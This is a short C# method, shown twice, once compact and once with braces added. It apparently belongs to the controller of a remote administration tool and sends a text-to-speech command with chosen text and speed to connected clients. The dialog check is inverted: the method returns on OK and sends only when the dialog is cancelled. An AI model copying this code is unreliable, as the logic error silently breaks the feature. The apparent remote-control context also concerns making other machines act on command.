public static void TextToSpeechContextCallback(IClient[] clients) { if (clients.Length < 1) return; string say = string.Empty; int speed = 0; using (formTextToSpeech tts = new formTextToSpeech()) { if (tts.ShowDialog() == System.Windows.Forms.DialogResult.OK) return; say = tts.TextToSay; speed = tts.SaySpeed; } foreach (IClient c in clients) c.Send((byte)NetworkCommand.TextToSpeech, say, speed); }
public static void TextToSpeechContextCallback(IClient[] clients) { if (clients.Length < 1) { return; } string say = string.Empty; int speed = 0; using (formTextToSpeech tts = new formTextToSpeech()) { if (tts.ShowDialog() == System.Windows.Forms.DialogResult.OK) { return; } say = tts.TextToSay; speed = tts.SaySpeed; } foreach (IClient c in clients) { c.Send((byte)NetworkCommand.TextToSpeech, say, speed); } }